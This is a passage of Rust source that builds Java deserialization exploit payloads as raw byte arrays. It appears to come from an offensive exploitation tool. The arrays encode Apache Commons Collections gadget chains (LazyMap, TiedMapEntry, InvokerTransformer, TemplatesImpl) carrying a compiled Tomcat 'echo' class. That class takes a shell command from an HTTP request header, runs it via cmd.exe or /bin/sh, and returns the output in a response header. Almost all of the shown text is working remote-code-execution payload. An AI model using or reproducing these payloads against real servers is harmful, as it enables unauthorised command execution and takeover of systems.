103, 47, 67, 108, 97, 115, 115, 59, 41, 76, 106, 97, 118, 97, 47, 108, 34 | 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 59, 35 | 12, 0, 31, 0, 32, 10, 0, 12, 0, 33, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 4, 40, 73, 36 | 41, 86, 12, 0, 35, 0, 36, 10, 0, 26, 0, 37, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 37 | 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 7, 0, 39, 1, 0, 38 | 6, 105, 110, 118, 111, 107, 101, 1, 0, 57, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 39 | 47, 79, 98, 106, 101, 99, 116, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 40 | 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 41 | 106, 101, 99, 116, 59, 12, 0, 41, 0, 42, 10, 0, 40, 0, 43, 1, 0, 8, 103, 101, 116, 67, 108, 42 | 97, 115, 115, 1, 0, 19, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 43 | 97, 115, 115, 59, 12, 0, 45, 0, 46, 10, 0, 4, 0, 47, 1, 0, 7, 100, 111, 87, 114, 105, 116, 44 | 101, 8, 0, 49, 1, 0, 9, 103, 101, 116, 77, 101, 116, 104, 111, 100, 12, 0, 51, 0, 32, 10, 45 | 0, 12, 0, 52, 1, 0, 32, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 46 | 78, 111, 116, 70, 111, 117, 110, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 0, 54, 47 | 1, 0, 19, 106, 97, 118, 97, 46, 110, 105, 111, 46, 66, 121, 116, 101, 66, 117, 102, 102, 48 | 101, 114, 8, 0, 56, 1, 0, 4, 119, 114, 97, 112, 8, 0, 58, 1, 0, 31, 106, 97, 118, 97, 47, 49 | 108, 97, 110, 103, 47, 78, 111, 83, 117, 99, 104, 77, 101, 116, 104, 111, 100, 69, 120, 99, 50 | 101, 112, 116, 105, 111, 110, 7, 0, 60, 1, 0, 4, 67, 111, 100, 101, 1, 0, 10, 69, 120, 99, 51 | 101, 112, 116, 105, 111, 110, 115, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 52 | 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 0, 64, 1, 0, 13, 83, 116, 97, 99, 107, 77, 53 | 97, 112, 84, 97, 98, 108, 101, 1, 0, 5, 103, 101, 116, 70, 86, 1, 0, 56, 40, 76, 106, 97, 54 | 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 55 | 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 56 | 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 16, 103, 101, 116, 68, 101, 99, 57 | 108, 97, 114, 101, 100, 70, 105, 101, 108, 100, 1, 0, 45, 40, 76, 106, 97, 118, 97, 47, 58 | 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 59 | 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 70, 105, 101, 108, 100, 59, 12, 0, 60 | 69, 0, 70, 10, 0, 12, 0, 71, 1, 0, 30, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 78, 61 | 111, 83, 117, 99, 104, 70, 105, 101, 108, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 62 | 7, 0, 73, 1, 0, 13, 103, 101, 116, 83, 117, 112, 101, 114, 99, 108, 97, 115, 115, 12, 0, 63 | 75, 0, 46, 10, 0, 12, 0, 76, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 64 | 83, 116, 114, 105, 110, 103, 59, 41, 86, 12, 0, 35, 0, 78, 10, 0, 74, 0, 79, 1, 0, 23, 106, 65 | 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 70, 105, 101, 66 | 108, 100, 7, 0, 81, 1, 0, 13, 115, 101, 116, 65, 99, 99, 101, 115, 115, 105, 98, 108, 101, 67 | 1, 0, 4, 40, 90, 41, 86, 12, 0, 83, 0, 84, 10, 0, 82, 0, 85, 1, 0, 3, 103, 101, 116, 1, 0, 68 | 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 69 | 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, 87, 70 | 0, 88, 10, 0, 82, 0, 89, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 71 | 114, 105, 110, 103, 7, 0, 91, 1, 0, 3, 40, 41, 86, 12, 0, 35, 0, 93, 10, 0, 4, 0, 94, 1, 0, 72 | 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 7, 0, 96, 1, 73 | 0, 13, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 1, 0, 20, 40, 41, 76, 74 | 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 59, 12, 0, 98, 0, 75 | 99, 10, 0, 97, 0, 100, 1, 0, 14, 103, 101, 116, 84, 104, 114, 101, 97, 100, 71, 114, 111, 76 | 117, 112, 1, 0, 25, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 77 | 101, 97, 100, 71, 114, 111, 117, 112, 59, 12, 0, 102, 0, 103, 10, 0, 97, 0, 104, 1, 0, 7, 78 | 116, 104, 114, 101, 97, 100, 115, 8, 0, 106, 12, 0, 67, 0, 68, 10, 0, 2, 0, 108, 1, 0, 19, 79 | 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 59, 7, 0, 80 | 110, 1, 0, 7, 103, 101, 116, 78, 97, 109, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 81 | 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 12, 0, 112, 0, 113, 10, 0, 97, 0, 82 | 114, 1, 0, 4, 101, 120, 101, 99, 8, 0, 116, 1, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 83 | 1, 0, 27, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 104, 97, 114, 83, 101, 84 | 113, 117, 101, 110, 99, 101, 59, 41, 90, 12, 0, 118, 0, 119, 10, 0, 92, 0, 120, 1, 0, 4, 85 | 104, 116, 116, 112, 8, 0, 122, 1, 0, 6, 116, 97, 114, 103, 101, 116, 8, 0, 124, 1, 0, 18, 86 | 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 110, 97, 98, 108, 101, 7, 0, 87 | 126, 1, 0, 6, 116, 104, 105, 115, 36, 48, 8, 0, 128, 1, 0, 7, 104, 97, 110, 100, 108, 101, 88 | 114, 8, 0, 130, 1, 0, 6, 103, 108, 111, 98, 97, 108, 8, 0, 132, 1, 0, 10, 112, 114, 111, 89 | 99, 101, 115, 115, 111, 114, 115, 8, 0, 134, 1, 0, 14, 106, 97, 118, 97, 47, 117, 116, 105, 90 | 108, 47, 76, 105, 115, 116, 7, 0, 136, 1, 0, 4, 115, 105, 122, 101, 1, 0, 3, 40, 41, 73, 91 | 12, 0, 138, 0, 139, 11, 0, 137, 0, 140, 1, 0, 21, 40, 73, 41, 76, 106, 97, 118, 97, 47, 92 | 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, 87, 0, 142, 11, 0, 137, 0, 93 | 143, 1, 0, 3, 114, 101, 113, 8, 0, 145, 1, 0, 11, 103, 101, 116, 82, 101, 115, 112, 111, 94 | 110, 115, 101, 8, 0, 147, 1, 0, 9, 103, 101, 116, 72, 101, 97, 100, 101, 114, 8, 0, 149, 1, 95 | 0, 8, 84, 101, 115, 116, 101, 99, 104, 111, 8, 0, 151, 1, 96 | ]); 97 | // isEmpty 98 | let echo_header_name_len = echo_header_name.len() as u16; 99 | result_bytes.extend(echo_header_name_len.to_be_bytes()); 100 | result_bytes.extend(echo_header_name.as_bytes()); 101 | result_bytes.extend([ 102 | 1, 0, 3, 40, 41, 90, 12, 0, 153, 0, 154, 10, 0, 92, 0, 155, 1, 0, 9, 115, 101, 116, 83, 103 | 116, 97, 116, 117, 115, 8, 0, 157, 1, 0, 9, 97, 100, 100, 72, 101, 97, 100, 101, 114, 8, 0, 104 | 159, 1, 0, 7, 84, 101, 115, 116, 99, 109, 100, 8, 0, 161, 1, 105 | ]); 106 | let cmd_header_name_len = cmd_header_name.len() as u16; 107 | result_bytes.extend(cmd_header_name_len.to_be_bytes()); 108 | result_bytes.extend(cmd_header_name.as_bytes()); 109 | result_bytes.extend([ 110 | 8, 0, 163, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 111 | 109, 7, 0, 165, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 112 | 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 113 | 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 12, 0, 114 | 167, 0, 168, 10, 0, 166, 0, 169, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 115 | 101, 12, 0, 171, 0, 113, 10, 0, 92, 0, 172, 1, 0, 6, 119, 105, 110, 100, 111, 119, 8, 0, 116 | 174, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 8, 0, 176, 1, 0, 2, 47, 99, 8, 0, 178, 1, 0, 117 | 7, 47, 98, 105, 110, 47, 115, 104, 8, 0, 180, 1, 0, 2, 45, 99, 8, 0, 182, 1, 0, 17, 106, 118 | 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 7, 0, 184, 1, 0, 119 | 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 120 | 105, 108, 100, 101, 114, 7, 0, 186, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 121 | 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 12, 0, 35, 0, 188, 10, 0, 187, 0, 122 | 189, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 123 | 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 12, 0, 191, 0, 192, 10, 0, 187, 0, 193, 124 | 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 7, 125 | 0, 195, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 126 | 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 127 | 101, 97, 109, 59, 12, 0, 197, 0, 198, 10, 0, 196, 0, 199, 1, 0, 24, 40, 76, 106, 97, 118, 128 | 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 12, 129 | 0, 35, 0, 201, 10, 0, 185, 0, 202, 1, 0, 2, 92, 65, 8, 0, 204, 1, 0, 12, 117, 115, 101, 68, 130 | 101, 108, 105, 109, 105, 116, 101, 114, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 131 | 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 132 | 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 12, 0, 206, 0, 207, 10, 0, 185, 0, 208, 1, 0, 133 | 4, 110, 101, 120, 116, 12, 0, 210, 0, 113, 10, 0, 185, 0, 211, 1, 0, 8, 103, 101, 116, 66, 134 | 121, 116, 101, 115, 1, 0, 4, 40, 41, 91, 66, 12, 0, 213, 0, 214, 10, 0, 92, 0, 215, 12, 0, 135 | 7, 0, 8, 10, 0, 2, 0, 217, 1, 0, 13, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 105, 136 | 101, 115, 1, 0, 24, 40, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 137 | 112, 101, 114, 116, 105, 101, 115, 59, 12, 0, 219, 0, 220, 10, 0, 166, 0, 221, 1, 0, 20, 138 | 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 139 | 115, 7, 0, 223, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 12, 0, 225, 0, 113, 10, 0, 140 | 224, 0, 226, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 141 | 105, 110, 103, 59, 7, 0, 228, 1, 0, 64, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 142 | 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 143 | 97, 108, 47, 120, 115, 108, 116, 99, 47, 114, 117, 110, 116, 105, 109, 101, 47, 65, 98, 144 | 115, 116, 114, 97, 99, 116, 84, 114, 97, 110, 115, 108, 101, 116, 7, 0, 230, 10, 0, 231, 0, 145 | 94, 0, 33, 0, 2, 0, 231, 0, 0, 0, 0, 0, 3, 0, 10, 0, 7, 0, 8, 0, 2, 0, 62, 0, 0, 1, 47, 0, 146 | 8, 0, 5, 0, 0, 0, 246, 18, 10, 184, 0, 16, 78, 45, 182, 0, 20, 77, 45, 18, 22, 6, 189, 0, 147 | 12, 89, 3, 18, 24, 83, 89, 4, 178, 0, 30, 83, 89, 5, 178, 0, 30, 83, 182, 0, 34, 44, 6, 148 | 189, 0, 4, 89, 3, 43, 83, 89, 4, 187, 0, 26, 89, 3, 183, 0, 38, 83, 89, 5, 187, 0, 26, 89, 149 | 43, 190, 183, 0, 38, 83, 182, 0, 44, 87, 42, 182, 0, 48, 18, 50, 4, 189, 0, 12, 89, 3, 45, 150 | 83, 182, 0, 53, 42, 4, 189, 0, 4, 89, 3, 44, 83, 182, 0, 44, 87, 167, 0, 141, 58, 4, 18, 151 | 57, 184, 0, 16, 78, 45, 18, 59, 4, 189, 0, 12, 89, 3, 18, 24, 83, 182, 0, 34, 45, 4, 189, 152 | 0, 4, 89, 3, 43, 83, 182, 0, 44, 77, 42, 182, 0, 48, 18, 50, 4, 189, 0, 12, 89, 3, 45, 83, 153 | 182, 0, 53, 42, 4, 189, 0, 4, 89, 3, 44, 83, 182, 0, 44, 87, 167, 0, 72, 58, 4, 18, 57, 154 | 184, 0, 16, 78, 45, 18, 59, 4, 189, 0, 12, 89, 3, 18, 24, 83, 182, 0, 34, 45, 4, 189, 0, 4, 155 | 89, 3, 43, 83, 182, 0, 44, 77, 42, 182, 0, 48, 18, 50, 4, 189, 0, 12, 89, 3, 45, 83, 182, 156 | 0, 53, 42, 4, 189, 0, 4, 89, 3, 44, 83, 182, 0, 44, 87, 167, 0, 3, 177, 0, 2, 0, 0, 0, 104, 157 | 0, 107, 0, 55, 0, 0, 0, 104, 0, 176, 0, 61, 0, 1, 0, 66, 0, 0, 0, 23, 0, 3, 247, 0, 107, 7, 158 | 0, 55, 247, 0, 68, 7, 0, 61, 253, 0, 68, 7, 0, 4, 7, 0, 12, 0, 63, 0, 0, 0, 4, 0, 1, 0, 65, 159 | 0, 10, 0, 67, 0, 68, 0, 2, 0, 62, 0, 0, 0, 126, 0, 3, 0, 5, 0, 0, 0, 63, 1, 77, 42, 182, 0, 160 | 48, 78, 167, 0, 25, 45, 43, 182, 0, 72, 77, 167, 0, 22, 167, 0, 0, 58, 4, 45, 182, 0, 77, 161 | 78, 167, 0, 3, 45, 18, 4, 166, 255, 231, 44, 1, 166, 0, 12, 187, 0, 74, 89, 43, 183, 0, 80, 162 | 191, 44, 4, 182, 0, 86, 44, 42, 182, 0, 90, 176, 0, 1, 0, 10, 0, 19, 0, 22, 0, 74, 0, 1, 0, 163 | 66, 0, 0, 0, 37, 0, 6, 253, 0, 10, 7, 0, 82, 7, 0, 12, 8, 255, 0, 2, 0, 4, 7, 0, 4, 7, 0, 164 | 92, 7, 0, 82, 7, 0, 12, 0, 1, 7, 0, 74, 9, 5, 13, 0, 63, 0, 0, 0, 4, 0, 1, 0, 65, 0, 1, 0, 165 | 35, 0, 93, 0, 2, 0, 62, 0, 0, 3, 54, 0, 8, 0, 13, 0, 0, 2, 63, 42, 183, 0, 232, 3, 54, 4, 166 | 184, 0, 101, 182, 0, 105, 18, 107, 184, 0, 109, 192, 0, 111, 58, 5, 3, 54, 6, 21, 6, 25, 5, 167 | 190, 162, 2, 31, 25, 5, 21, 6, 50, 58, 7, 25, 7, 1, 166, 0, 6, 167, 2, 9, 25, 7, 182, 0, 168 | 115, 78, 45, 18, 117, 182, 0, 121, 154, 0, 12, 45, 18, 123, 182, 0, 121, 154, 0, 6, 167, 1, 169 | 238, 25, 7, 18, 125, 184, 0, 109, 76, 43, 193, 0, 127, 154, 0, 6, 167, 1, 220, 43, 18, 129, 170 | 184, 0, 109, 18, 131, 184, 0, 109, 18, 133, 184, 0, 109, 76, 167, 0, 11, 58, 8, 167, 1, 171 | 195, 167, 0, 0, 43, 18, 135, 184, 0, 109, 192, 0, 137, 58, 9, 3, 54, 10, 21, 10, 25, 9, 172 | 185, 0, 141, 1, 0, 162, 1, 158, 25, 9, 21, 10, 185, 0, 144, 2, 0, 58, 11, 25, 11, 18, 146, 173 | 184, 0, 109, 76, 43, 182, 0, 48, 18, 148, 3, 189, 0, 12, 182, 0, 53, 43, 3, 189, 0, 4, 182, 174 | 0, 44, 77, 43, 182, 0, 48, 18, 150, 4, 189, 0, 12, 89, 3, 18, 92, 83, 182, 0, 53, 43, 4, 175 | 189, 0, 4, 89, 3, 18, 152, 83, 182, 0, 44, 192, 0, 92, 78, 45, 1, 165, 0, 10, 45, 182, 0, 176 | 156, 153, 0, 6, 167, 0, 88, 44, 182, 0, 48, 18, 158, 4, 189, 0, 12, 89, 3, 178, 0, 30, 83, 177 | 182, 0, 53, 44, 4, 189, 0, 4, 89, 3, 187, 0, 26, 89, 17, 0, 200, 183, 0, 38, 83, 182, 0, 178 | 44, 87, 44, 182, 0, 48, 18, 160, 5, 189, 0, 12, 89, 3, 18, 92, 83, 89, 4, 18, 92, 83, 182, 179 | 0, 53, 44, 5, 189, 0, 4, 89, 3, 18, 152, 83, 89, 4, 45, 83, 182, 0, 44, 87, 4, 54, 4, 43, 180 | 182, 0, 48, 18, 150, 4, 189, 0, 12, 89, 3, 18, 92, 83, 182, 0, 53, 43, 4, 189, 0, 4, 89, 3, 181 | 18, 162, 83, 182, 0, 44, 192, 0, 92, 78, 45, 1, 165, 0, 10, 45, 182, 0, 156, 153, 0, 6, 182 | 167, 0, 141, 44, 182, 0, 48, 18, 158, 4, 189, 0, 12, 89, 3, 178, 0, 30, 83, 182, 0, 53, 44, 183 | 4, 189, 0, 4, 89, 3, 187, 0, 26, 89, 17, 0, 200, 183, 0, 38, 83, 182, 0, 44, 87, 18, 164, 184 | 184, 0, 170, 182, 0, 173, 18, 175, 182, 0, 121, 153, 0, 24, 6, 189, 0, 92, 89, 3, 18, 177, 185 | 83, 89, 4, 18, 179, 83, 89, 5, 45, 83, 167, 0, 21, 6, 189, 0, 92, 89, 3, 18, 181, 83, 89, 186 | 4, 18, 183, 83, 89, 5, 45, 83, 58, 12, 44, 187, 0, 185, 89, 187, 0, 187, 89, 25, 12, 183, 187 | 0, 190, 182, 0, 194, 182, 0, 200, 183, 0, 203, 18, 205, 182, 0, 209, 182, 0, 212, 182, 0, 188 | 216, 184, 0, 218, 4, 54, 4, 45, 1, 165, 0, 10, 45, 182, 0, 156, 153, 0, 8, 21, 4, 154, 0, 189 | 6, 167, 0, 16, 44, 184, 0, 222, 182, 0, 227, 182, 0, 216, 184, 0, 218, 21, 4, 153, 0, 6, 190 | 167, 0, 9, 132, 10, 1, 167, 254, 92, 21, 4, 153, 0, 6, 167, 0, 9, 132, 6, 1, 167, 253, 223, 191 | 177, 0, 1, 0, 95, 0, 112, 0, 115, 0, 65, 0, 1, 0, 66, 0, 0, 0, 221, 0, 25, 255, 0, 26, 0, 192 | 7, 7, 0, 2, 0, 0, 0, 1, 7, 0, 111, 1, 0, 0, 252, 0, 23, 7, 0, 97, 255, 0, 23, 0, 8, 7, 0, 193 | 2, 0, 0, 7, 0, 92, 1, 7, 0, 111, 1, 7, 0, 97, 0, 0, 2, 255, 0, 17, 0, 8, 7, 0, 2, 7, 0, 4, 194 | 0, 7, 0, 92, 1, 7, 0, 111, 1, 7, 0, 97, 0, 0, 83, 7, 0, 65, 4, 255, 0, 2, 0, 8, 7, 0, 2, 7, 195 | 0, 4, 0, 7, 0, 92, 1, 7, 0, 111, 1, 7, 0, 97, 0, 0, 254, 0, 13, 0, 7, 0, 137, 1, 255, 0, 196 | 99, 0, 12, 7, 0, 2, 7, 0, 4, 7, 0, 4, 7, 0, 92, 1, 7, 0, 111, 1, 7, 0, 97, 0, 7, 0, 137, 1, 197 | 7, 0, 4, 0, 0, 2, 251, 0, 84, 46, 2, 251, 0, 77, 81, 7, 0, 229, 41, 11, 4, 2, 12, 7, 255, 198 | 0, 5, 0, 11, 7, 0, 2, 7, 0, 4, 0, 7, 0, 92, 1, 7, 0, 111, 1, 7, 0, 97, 0, 7, 0, 137, 1, 0, 199 | 0, 255, 0, 7, 0, 8, 7, 0, 2, 0, 0, 0, 1, 7, 0, 111, 1, 7, 0, 97, 0, 0, 250, 0, 5, 0, 63, 0, 200 | 0, 0, 4, 0, 1, 0, 65, 0, 1, 0, 5, 0, 0, 0, 2, 0, 6, 201 | ]); 202 | result_bytes 203 | } 204 | 205 | pub fn get_cck1_tomcat_echo(echo_header_name: &str, cmd_header_name: &str) -> Vec { 206 | let mut result_bytes = [ 207 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 208 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 209 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 210 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 115, 114, 0, 52, 111, 114, 103, 211 | 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 212 | 101, 99, 116, 105, 111, 110, 115, 46, 107, 101, 121, 118, 97, 108, 117, 101, 46, 84, 105, 213 | 101, 100, 77, 97, 112, 69, 110, 116, 114, 121, 138, 173, 210, 155, 57, 193, 31, 219, 2, 0, 214 | 2, 76, 0, 3, 107, 101, 121, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 215 | 79, 98, 106, 101, 99, 116, 59, 76, 0, 3, 109, 97, 112, 116, 0, 15, 76, 106, 97, 118, 97, 216 | 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 120, 112, 115, 114, 0, 58, 99, 111, 109, 46, 217 | 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 218 | 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 219 | 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 220 | 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 221 | 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 222 | 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 223 | 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 224 | 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 225 | 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 17, 95, 111, 117, 116, 226 | 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 227 | 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 228 | 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 229 | 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 230 | 8, 84, 224, 2, 0, 0, 120, 112, 231 | ] 232 | .to_vec(); 233 | let tomcat_echo = get_tomcat_echo(echo_header_name, cmd_header_name); 234 | let tomcat_echo_len = tomcat_echo.len() as u32; 235 | result_bytes.extend(tomcat_echo_len.to_be_bytes()); 236 | result_bytes.extend(&tomcat_echo); 237 | result_bytes.extend([ 238 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 115, 114, 0, 42, 111, 114, 103, 46, 239 | 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 240 | 101, 99, 116, 105, 111, 110, 115, 46, 109, 97, 112, 46, 76, 97, 122, 121, 77, 97, 112, 110, 241 | 229, 148, 130, 158, 121, 16, 148, 3, 0, 1, 76, 0, 7, 102, 97, 99, 116, 111, 114, 121, 116, 242 | 0, 44, 76, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 99, 111, 109, 109, 111, 110, 243 | 115, 47, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 47, 84, 114, 97, 110, 115, 244 | 102, 111, 114, 109, 101, 114, 59, 120, 112, 115, 114, 0, 58, 111, 114, 103, 46, 97, 112, 245 | 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 101, 99, 246 | 116, 105, 111, 110, 115, 46, 102, 117, 110, 99, 116, 111, 114, 115, 46, 73, 110, 118, 111, 247 | 107, 101, 114, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 135, 232, 255, 107, 248 | 123, 124, 206, 56, 2, 0, 3, 91, 0, 5, 105, 65, 114, 103, 115, 116, 0, 19, 91, 76, 106, 97, 249 | 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 11, 105, 77, 101, 250 | 116, 104, 111, 100, 78, 97, 109, 101, 113, 0, 126, 0, 9, 91, 0, 11, 105, 80, 97, 114, 97, 251 | 109, 84, 121, 112, 101, 115, 113, 0, 126, 0, 8, 120, 112, 117, 114, 0, 19, 91, 76, 106, 97, 252 | 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, 144, 206, 88, 159, 16, 253 | 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 0, 116, 0, 14, 110, 101, 119, 84, 114, 97, 110, 254 | 115, 102, 111, 114, 109, 101, 114, 117, 114, 0, 18, 91, 76, 106, 97, 118, 97, 46, 108, 97, 255 | 110, 103, 46, 67, 108, 97, 115, 115, 59, 171, 22, 215, 174, 203, 205, 90, 153, 2, 0, 0, 256 | 120, 112, 0, 0, 0, 0, 115, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 257 | 16, 0, 0, 0, 0, 120, 120, 116, 0, 1, 116, 120, 258 | ]); 259 | result_bytes 260 | } 261 | 262 | pub fn get_cck2_tomcat_echo(echo_header_name: &str, cmd_header_name: &str) -> Vec { 263 | let mut result_bytes = [ 264 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 265 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 266 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 267 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 115, 114, 0, 53, 111, 114, 103, 268 | 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 269 | 101, 99, 116, 105, 111, 110, 115, 52, 46, 107, 101, 121, 118, 97, 108, 117, 101, 46, 84, 270 | 105, 101, 100, 77, 97, 112, 69, 110, 116, 114, 121, 138, 173, 210, 155, 57, 193, 31, 219, 271 | 2, 0, 2, 76, 0, 3, 107, 101, 121, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 272 | 47, 79, 98, 106, 